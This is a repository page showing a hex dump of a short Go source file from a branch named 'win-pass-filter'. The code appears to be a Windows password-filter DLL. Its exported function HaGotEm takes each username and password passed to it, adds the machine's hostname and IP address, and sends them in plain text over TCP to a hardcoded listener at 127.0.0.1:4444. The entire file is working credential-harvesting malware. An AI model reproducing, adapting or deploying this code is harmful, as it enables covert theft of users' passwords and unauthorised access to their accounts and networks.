Windows Password Filter

⌈⌋ ⎇ branch:  win-pass-filter


Hex Artifact Content

Artifact beaf91822d5abd3ac45175c873b80cde8c8793c2da7d763ff2a0471f9560e7af:

  • File filter.go — part of check-in [f2dea56b19] at 2019-06-07 00:51:53 on branch trunk — Initial Commit (user: brimstone size: 1559)

0000: 70 61 63 6b 61 67 65 20 6d 61 69 6e 0a 0a 2f 2f  package main..//
0010: 2f 2f 2f 2f 20 23 63 67 6f 20 4c 44 46 4c 41 47  //// #cgo LDFLAG
0020: 53 3a 20 2d 6c 77 69 6e 6d 6d 0a 69 6d 70 6f 72  S: -lwinmm.impor
0030: 74 20 22 43 22 0a 0a 69 6d 70 6f 72 74 20 28 0a  t "C"..import (.
0040: 09 22 66 6d 74 22 0a 09 22 6e 65 74 22 0a 09 22  ."fmt".."net".."
0050: 6f 73 22 0a 09 22 74 69 6d 65 22 0a 29 0a 0a 66  os".."time".)..f
0060: 75 6e 63 20 67 65 74 49 50 41 64 64 72 65 73 73  unc getIPAddress
0070: 28 29 20 73 74 72 69 6e 67 20 7b 0a 09 69 2c 20  () string {..i, 
0080: 65 72 72 20 3a 3d 20 6e 65 74 2e 49 6e 74 65 72  err := net.Inter
0090: 66 61 63 65 73 28 29 0a 09 69 66 20 65 72 72 20  faces()..if err 
00a0: 21 3d 20 6e 69 6c 20 7b 0a 09 09 72 65 74 75 72  != nil {...retur
00b0: 6e 20 22 3c 6e 69 6c 3e 22 0a 09 7d 0a 09 66 6f  n "<nil>"..}..fo
00c0: 72 20 5f 2c 20 61 20 3a 3d 20 72 61 6e 67 65 20  r _, a := range 
00d0: 69 20 7b 0a 09 09 69 66 20 61 2e 46 6c 61 67 73  i {...if a.Flags
00e0: 26 6e 65 74 2e 46 6c 61 67 55 70 20 3d 3d 20 30  &net.FlagUp == 0
00f0: 20 7c 7c 20 61 2e 46 6c 61 67 73 26 6e 65 74 2e   || a.Flags&net.
0100: 46 6c 61 67 4c 6f 6f 70 62 61 63 6b 20 21 3d 20  FlagLoopback != 
0110: 30 20 7b 0a 09 09 09 63 6f 6e 74 69 6e 75 65 0a  0 {....continue.
0120: 09 09 7d 0a 09 09 69 66 20 6e 2c 20 65 72 72 20  ..}...if n, err 
0130: 3a 3d 20 61 2e 41 64 64 72 73 28 29 3b 20 65 72  := a.Addrs(); er
0140: 72 20 3d 3d 20 6e 69 6c 20 7b 0a 09 09 09 66 6f  r == nil {....fo
0150: 72 20 5f 2c 20 61 64 20 3a 3d 20 72 61 6e 67 65  r _, ad := range
0160: 20 6e 20 7b 0a 09 09 09 09 76 61 72 20 72 20 6e   n {.....var r n
0170: 65 74 2e 49 50 0a 09 09 09 09 73 77 69 74 63 68  et.IP.....switch
0180: 20 61 64 2e 28 74 79 70 65 29 20 7b 0a 09 09 09   ad.(type) {....
0190: 09 63 61 73 65 20 2a 6e 65 74 2e 49 50 4e 65 74  .case *net.IPNet
01a0: 3a 0a 09 09 09 09 09 72 20 3d 20 61 64 2e 28 2a  :......r = ad.(*
01b0: 6e 65 74 2e 49 50 4e 65 74 29 2e 49 50 0a 09 09  net.IPNet).IP...
01c0: 09 09 63 61 73 65 20 2a 6e 65 74 2e 49 50 41 64  ..case *net.IPAd
01d0: 64 72 3a 0a 09 09 09 09 09 72 20 3d 20 61 64 2e  dr:......r = ad.
01e0: 28 2a 6e 65 74 2e 49 50 41 64 64 72 29 2e 49 50  (*net.IPAddr).IP
01f0: 0a 09 09 09 09 64 65 66 61 75 6c 74 3a 0a 09 09  .....default:...
0200: 09 09 09 63 6f 6e 74 69 6e 75 65 0a 09 09 09 09  ...continue.....
0210: 7d 0a 09 09 09 09 69 66 20 72 2e 49 73 4c 6f 6f  }.....if r.IsLoo
0220: 70 62 61 63 6b 28 29 20 7c 7c 20 72 2e 49 73 55  pback() || r.IsU
0230: 6e 73 70 65 63 69 66 69 65 64 28 29 20 7c 7c 20  nspecified() || 
0240: 72 2e 49 73 4d 75 6c 74 69 63 61 73 74 28 29 20  r.IsMulticast() 
0250: 7c 7c 20 72 2e 49 73 49 6e 74 65 72 66 61 63 65  || r.IsInterface
0260: 4c 6f 63 61 6c 4d 75 6c 74 69 63 61 73 74 28 29  LocalMulticast()
0270: 20 7c 7c 20 72 2e 49 73 4c 69 6e 6b 4c 6f 63 61   || r.IsLinkLoca
0280: 6c 4d 75 6c 74 69 63 61 73 74 28 29 20 7c 7c 20  lMulticast() || 
0290: 72 2e 49 73 4c 69 6e 6b 4c 6f 63 61 6c 55 6e 69  r.IsLinkLocalUni
02a0: 63 61 73 74 28 29 20 7b 0a 09 09 09 09 09 63 6f  cast() {......co
02b0: 6e 74 69 6e 75 65 0a 09 09 09 09 7d 0a 09 09 09  ntinue.....}....
02c0: 09 69 66 20 70 20 3a 3d 20 72 2e 54 6f 34 28 29  .if p := r.To4()
02d0: 3b 20 70 20 21 3d 20 6e 69 6c 20 7b 0a 09 09 09  ; p != nil {....
02e0: 09 09 72 65 74 75 72 6e 20 70 2e 53 74 72 69 6e  ..return p.Strin
02f0: 67 28 29 0a 09 09 09 09 7d 0a 09 09 09 09 72 65  g().....}.....re
0300: 74 75 72 6e 20 72 2e 53 74 72 69 6e 67 28 29 0a  turn r.String().
0310: 09 09 09 7d 0a 09 09 7d 20 65 6c 73 65 20 7b 0a  ...}...} else {.
0320: 09 09 09 72 65 74 75 72 6e 20 22 3c 6e 69 6c 3e  ...return "<nil>
0330: 22 0a 09 09 7d 0a 09 7d 0a 09 72 65 74 75 72 6e  "...}..}..return
0340: 20 22 3c 6e 69 6c 3e 22 0a 7d 0a 0a 76 61 72 20   "<nil>".}..var 
0350: 72 65 6d 6f 74 65 20 3d 20 22 31 32 37 2e 30 2e  remote = "127.0.
0360: 30 2e 31 3a 34 34 34 34 22 0a 0a 2f 2f 65 78 70  0.1:4444"..//exp
0370: 6f 72 74 20 48 61 47 6f 74 45 6d 0a 66 75 6e 63  ort HaGotEm.func
0380: 20 48 61 47 6f 74 45 6d 28 6c 20 43 2e 69 6e 74   HaGotEm(l C.int
0390: 2c 20 75 20 2a 43 2e 63 68 61 72 2c 20 6e 20 43  , u *C.char, n C
03a0: 2e 69 6e 74 2c 20 70 20 2a 43 2e 63 68 61 72 29  .int, p *C.char)
03b0: 20 43 2e 69 6e 74 20 7b 0a 09 61 20 3a 3d 20 5b   C.int {..a := [
03c0: 5d 62 79 74 65 28 43 2e 47 6f 53 74 72 69 6e 67  ]byte(C.GoString
03d0: 4e 28 75 2c 20 6c 29 29 0a 09 79 20 3a 3d 20 5b  N(u, l))..y := [
03e0: 5d 62 79 74 65 28 43 2e 47 6f 53 74 72 69 6e 67  ]byte(C.GoString
03f0: 4e 28 70 2c 20 6e 29 29 0a 09 65 20 3a 3d 20 6d  N(p, n))..e := m
0400: 61 6b 65 28 5b 5d 72 75 6e 65 2c 20 6c 2f 32 29  ake([]rune, l/2)
0410: 0a 09 6b 20 3a 3d 20 6d 61 6b 65 28 5b 5d 72 75  ..k := make([]ru
0420: 6e 65 2c 20 6e 2f 32 29 0a 09 66 6f 72 20 69 20  ne, n/2)..for i 
0430: 3a 3d 20 30 3b 20 69 20 3c 20 6c 65 6e 28 61 29  := 0; i < len(a)
0440: 3b 20 69 20 2b 3d 20 32 20 7b 0a 09 09 65 5b 69  ; i += 2 {...e[i
0450: 2f 32 5d 20 3d 20 72 75 6e 65 28 61 5b 69 5d 29  /2] = rune(a[i])
0460: 0a 09 7d 0a 09 66 6f 72 20 69 20 3a 3d 20 30 3b  ..}..for i := 0;
0470: 20 69 20 3c 20 6c 65 6e 28 79 29 3b 20 69 20 2b   i < len(y); i +
0480: 3d 20 32 20 7b 0a 09 09 6b 5b 69 2f 32 5d 20 3d  = 2 {...k[i/2] =
0490: 20 72 75 6e 65 28 79 5b 69 5d 29 0a 09 7d 0a 09   rune(y[i])..}..
04a0: 68 2c 20 65 72 72 20 3a 3d 20 6f 73 2e 48 6f 73  h, err := os.Hos
04b0: 74 6e 61 6d 65 28 29 0a 09 69 66 20 65 72 72 20  tname()..if err 
04c0: 21 3d 20 6e 69 6c 20 7b 0a 09 09 68 20 3d 20 22  != nil {...h = "
04d0: 22 0a 09 7d 0a 09 78 2c 20 65 72 72 20 3a 3d 20  "..}..x, err := 
04e0: 6e 65 74 2e 44 69 61 6c 54 69 6d 65 6f 75 74 28  net.DialTimeout(
04f0: 22 74 63 70 22 2c 20 72 65 6d 6f 74 65 2c 20 74  "tcp", remote, t
0500: 69 6d 65 2e 44 75 72 61 74 69 6f 6e 28 35 2a 74  ime.Duration(5*t
0510: 69 6d 65 2e 53 65 63 6f 6e 64 29 29 0a 09 69 66  ime.Second))..if
0520: 20 65 72 72 20 21 3d 20 6e 69 6c 20 7b 0a 09 09   err != nil {...
0530: 72 65 74 75 72 6e 20 43 2e 69 6e 74 28 2d 31 29  return C.int(-1)
0540: 0a 09 7d 0a 09 64 65 66 65 72 20 78 2e 43 6c 6f  ..}..defer x.Clo
0550: 73 65 28 29 0a 09 64 20 3a 3d 20 5b 5d 62 79 74  se()..d := []byt
0560: 65 28 66 6d 74 2e 53 70 72 69 6e 74 66 28 22 5b  e(fmt.Sprintf("[
0570: 25 73 3a 28 25 73 29 25 73 3a 25 73 5d 5c 6e 22  %s:(%s)%s:%s]\n"
0580: 2c 20 68 2c 20 67 65 74 49 50 41 64 64 72 65 73  , h, getIPAddres
0590: 73 28 29 2c 20 73 74 72 69 6e 67 28 65 29 2c 20  s(), string(e), 
05a0: 73 74 72 69 6e 67 28 6b 29 29 29 0a 09 69 66 20  string(k)))..if 
05b0: 5f 2c 20 65 72 72 20 3a 3d 20 78 2e 57 72 69 74  _, err := x.Writ
05c0: 65 28 64 29 3b 20 65 72 72 20 21 3d 20 6e 69 6c  e(d); err != nil
05d0: 20 7b 0a 09 09 72 65 74 75 72 6e 20 43 2e 69 6e   {...return C.in
05e0: 74 28 2d 31 29 0a 09 7d 0a 09 78 2e 43 6c 6f 73  t(-1)..}..x.Clos
05f0: 65 28 29 0a 09 72 65 74 75 72 6e 20 43 2e 69 6e  e()..return C.in
0600: 74 28 30 29 0a 7d 0a 0a 66 75 6e 63 20 6d 61 69  t(0).}..func mai
0610: 6e 28 29 20 7b 7d 0a                             n() {}.